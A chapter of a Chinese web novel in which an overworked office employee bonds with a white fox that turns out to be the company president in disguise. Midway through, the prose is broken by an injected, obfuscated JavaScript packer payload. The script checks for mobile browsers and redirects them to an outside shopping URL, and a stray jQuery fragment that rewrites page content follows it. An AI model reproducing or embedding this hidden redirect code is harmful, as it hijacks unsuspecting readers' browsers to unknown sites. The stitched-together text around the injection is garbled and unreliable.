接下来的几天,简乐心把全部精力都扑在了“星芒”子单元的预热方案上。
她每天最早到公司,最晚离开,她的工位已经变成了一座小型资料山。
左边堆着打印出来的竞品分析报告,右边码着十几支男团过往物料的截图便签,正前方贴着一张巨大的手写思维导图,从“预热期节奏”到“长尾运营策略”,密密麻麻的箭头和批注爬满了整张A4纸。
“粉丝共创”的框架也被她越做越细,从预热期的节奏规划到正式发布后的长尾运营,每一个节点都标注了具体的执行动作和预期数据。
她甚至做了一个模拟的时间轴,把出道前十五天每一天的物料安排都排了出来。
周二下午,她就把初稿发给了裴秀华。
“框架没问题,细节再打磨一下。”裴秀华看完后给出了评价,竟然没有提太多修改意见。
简乐心松了一口气,但也不敢松懈,又花了一个下午把风险预案部分重新梳理了一遍,补充了三种可能的突发情况和对应的解决方案。
等她把第二版保存好,又从第一页翻到最后一页通读了一遍,确认没有错别字,标点符号也没有用错,这才心满意足地靠上椅背。
然后她抬头一看窗外,天已经黑透了,办公室只剩她头顶那一排灯亮着。
简乐心看了眼电脑右下角的时间:晚上九点四十。
“再查一遍数据就回家。”她给自己定了个小目标,打开竞品账号的后台数据,开始逐条核对互动率和粉丝增长曲线。
数据这东西最磨人,一条一条地看就跟数蚂蚁似的,她正看得入神,窗口突然传来轻微的响动。
简乐心下意识抬头,心脏猛地跳了一下。
那只雪白的小狐狸又出现了。
它蹲在窗台上,月光在它纯白的毛发上镀了一层银色的光晕,蓬松的尾巴优雅地环绕着身体。
简乐心的心跳砰砰加速。
自从上次加班偶遇这只小可爱之后,她就再也没见过它了。最开始那两天她还特意下班前多磨蹭一会儿,假装整理桌面,其实一直在偷瞄窗台。
但小白狐再也没有出现过,她一度怀疑那两天是自己加班过度产生的幻觉,精神错乱加臆想症的那种。
但此刻它就在这里,真实地蹲在她的窗台上,耳朵还在微微抖动。
“你……你又来了?”简乐心的声音轻得像怕惊动什么。
小白狐没有动,只是微微歪了歪头,耳朵轻轻抖动了一下,像是在说“对啊,不然呢”。
简乐心慢慢站起来,小心翼翼地靠近窗台。
她伸出手,试探性地凑近小白狐。小白狐没有躲,甚至微微抬起下巴,像是在说“允许你摸两下”。
“你到底是从哪来的呀?”她小声问,一边轻轻摸着小白狐的脑袋,“上次你突然不见了,我找了半天都没找到。你是不是公司附近谁养的?”
小白狐当然不会回答,但它轻轻蹭了蹭简乐心的手指,像是在回应。
简乐心心都要化了。
“你是不是能听懂我说话?”她看着小白狐人性化的举动,忍不住问道。
小白狐的动作顿了一下。
然后,它缓缓地,眨了两次眼睛。
简乐心整个人定住了,像被按了暂停键。
“你……你真的能听懂?!”她的声音都变调了,差点破音。
小白狐又眨了一下眼睛。
简乐心的脑子“嗡”地一下。
她盯着小白狐那双银灰色的眼睛,突然觉得那双眼睛让她有一种莫名的熟悉感。
像谁呢?
她拼命在脑海里搜索,但那个答案就在嘴边,怎么也抓不住。
“你是……人变的吗?”她鼓起勇气问出了这句话。
小白狐看着她,银灰色的眼睛平静如水。
没有眨眼,没有点头,也没有摇头。
简乐心等了五秒钟,十秒钟,小白狐始终没有任何反应。
“好吧,”她有些失望地叹了口气,“我感觉我真傻,竟然问一只狐狸是不是人。”
她收回手,回到工位上坐下,小白狐从窗台上跳下来,踩着无声的步伐走进大开间,然后轻轻一跃,跳上了她的办公桌。
和之前一样,盘着尾巴,坐在高叠起来的文件旁,像一个灵动的手办。
简乐心看着它这副理所当然的样子,忍不住笑了。
“你是来陪我加班的吗?”她问。
小白狐把下巴搁在尾巴上,眯起眼睛,一副“你可以开始工作了”的表情。
简乐心被它萌得心肝颤,拿起手机想拍张照,但是小白狐还是一如既往地不让她拍。
她只好深吸一口气,继续埋头查数据。
又过了一个小时,简乐心终于把所有的数据都核对完了,她伸了个大大的懒腰,胳膊抻得老长,关节发出“咔咔”的响声。
小白狐还蹲在键盘旁边,呼吸均匀,尾巴尖时不时轻轻颤一下,看起来像是睡着了。
“谢谢你陪我。”她轻声说,然后开始收拾东西,小白狐则是伸了个懒腰,在一旁静静蹲坐着。
她背起包,走到门口,回头看了一眼。
小白狐还蹲在桌上,银灰色的眼睛安静地看着她。
“你不走吗?”简乐心问。
小白狐没有动。
简乐心犹豫了一下,转身走回桌前,从包里翻出一包早上从食堂拿的动物饼干,小心翼翼地放在桌上。
“给你留的,上次你好像挺喜欢吃的。”
小白狐低头看了看那块饼干,又抬头看了看她。
“我走了啊。”她轻声说,“下次……你还会来吗?”
小白狐没有回答。
简乐心笑了笑,转身走出了办公室。
她走到电梯间,按了下行键。
电梯从25楼缓缓下降。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693090|207656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
25楼。
简乐心看着那个数字,脑海里突然闪过自己刚才猜想过的念头。
25楼是总裁办公室所在的地方。
她的心跳突然加速了。
巧合吗?
电梯门打开,里面空无一人,简乐心走进去,盯着那个“25”的按钮看了好几秒。
她伸出手,想按一下,但手指悬在半空中,又缩了回去。
“想什么呢简乐心。”她小声骂自己,“一只狐狸跟总裁有什么关系?而且总裁难道没有专用电梯,你脑子是不是加班加坏了?”
她按了1楼,电梯门缓缓关上。
但她不知道的是,在她离开后的办公室里,小白狐吃完了那块饼干,用爪子擦了擦嘴角的碎屑。
然后,它在空无一人的办公室里,缓缓地,变成了一个人。
黑色的西装,银灰色的眼睛,清冷的面容。
谢晏看了一眼简乐心工位上那盆生机勃勃的绿萝。
然后他消失在虚空之中。
简乐心回到出租屋,洗完澡躺在床上,翻来覆去睡不着。
她脑海里反复回放着今晚的画面。
小白狐人性化的举动。
还有电梯停在25楼那个细节。
“不会吧……”她喃喃自语,但又觉得这个念头太离谱了。
那可是总裁啊。
那个穿着一丝不苟、气场强大到让人不敢直视的男人。
另一个是只软乎乎、毛茸茸的小白狐。
这两者怎么可能是同一个?
“简乐心,你清醒一点。”她把脸埋进枕头里,“你就是加班加太多,产生幻觉了。”
但那个念头就像一根刺,扎在她脑海里,怎么也拔不掉。
她从枕头底下摸出手机,打开搜索引擎,犹豫了一下,打下一行字:
“狐狸能听懂人话吗?”
搜索结果出来了,大部分是说狐狸很聪明,可以训练,但不可能真正理解人类的语言。
她又搜了“狐狸变人”,出来的全是神话故事和动画片。
“看吧,都是假的。”她放下手机,关了灯。
黑暗中,她睁着眼睛盯着天花板。
突然,她想起一件事。
上次小白狐消失后,她在窗台上捡到了一根白色绒毛,那根绒毛她一直放在钱包里,没有扔掉。
她爬起来,打开钱包,找出那根绒毛。
在台灯的灯光下,那根绒毛泛着柔和的光泽,摸起来极其柔软。
她凑近闻了闻。
一股淡淡的、清冽的气息,像是雪后的松林。
这个气息……
她皱了皱眉,总觉得在哪里闻到过。
但怎么也想不起来。
她把绒毛小心地放回钱包,关了灯,重新躺回床上。
“下次,我一定要搞清楚你的主人是谁。”她对着黑暗中的天花板小声说。